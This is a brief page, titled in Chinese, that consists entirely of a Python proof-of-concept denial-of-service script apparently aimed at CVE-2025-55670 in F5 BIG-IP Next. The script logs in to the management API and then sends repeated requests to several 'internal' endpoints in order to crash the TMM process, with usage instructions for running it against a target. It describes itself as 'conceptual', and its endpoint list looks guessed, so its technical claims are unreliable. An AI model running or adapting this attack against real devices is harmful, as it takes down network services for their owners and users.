CVE-2025-55670：F5 BIG-IP Next系列TMM拒绝服务漏洞

# CVE-2025-55670 PoC - F5 BIG-IP Next TMM Denial of Service # This PoC demonstrates the repeated API call pattern that triggers TMM termination # Note: This is a conceptual PoC based on publicly available information import requests import time import sys class BIGIPNextExploit: def __init__(self, target_host, port=443, username=None, password=None): self.target = f"https://{target_host}:{port}" self.session = requests.Session() self.session.verify = False self.username = username self.password = password self.auth_token = None def authenticate(self): """Authenticate to BIG-IP Next management API""" auth_url = f"{self.target}/api/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post(auth_url, json=payload, timeout=10) if resp.status_code == 200: self.auth_token = resp.json().get("token") self.session.headers.update({ "Authorization": f"Bearer {self.auth_token}" }) print(f"[+] Successfully authenticated to {self.target}") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def trigger_tmm_termination(self, iterations=1000, delay=0.1): """ Send repeated undisclosed API calls to trigger TMM termination. The vulnerability is triggered by repeatedly calling specific internal API endpoints that cause resource exhaustion in TMM. """ # Undisclosed/internal API endpoints that trigger the vulnerability api_endpoints = [ "/api/v1/internal/tmm/status", "/api/v1/internal/tmm/config", "/api/v1/internal/flow/stats", "/api/v1/internal/kernel/buffer", ] print(f"[*] Starting TMM termination attack on {self.target}") print(f"[*] Iterations: {iterations}, Delay: {delay}s") for i in range(iterations): endpoint = api_endpoints[i % len(api_endpoints)] url = f"{self.target}{endpoint}" try: resp = self.session.get(url, timeout=5) if i % 100 == 0: print(f"[*] Iteration {i}/{iterations} - Status: {resp.status_code}") # Check if TMM has terminated if resp.status_code == 503 or resp.status_code == 502: print(f"[!] TMM may have terminated! Got status {resp.status_code}") break except requests.exceptions.ConnectionError: print(f"[!] Connection refused - TMM likely terminated!") return True except Exception as e: print(f"[-] Error at iteration {i}: {e}") time.sleep(delay) return False def main(): if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_host> <port> <username> <password> [iterations]") print(f"Example: {sys.argv[0]} 192.168.1.100 443 admin password123 5000") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] iterations = int(sys.argv[5]) if len(sys.argv) > 5 else 5000 requests.packages.urllib3.disable_warnings() exploit = BIGIPNextExploit(target, port, username, password) if exploit.authenticate(): success = exploit.trigger_tmm_termination(iterations) if success: print("[+] Exploit completed - TMM termination achieved!") else: print("[-] Exploit completed - TMM may still be running") if __name__ == "__main__": main()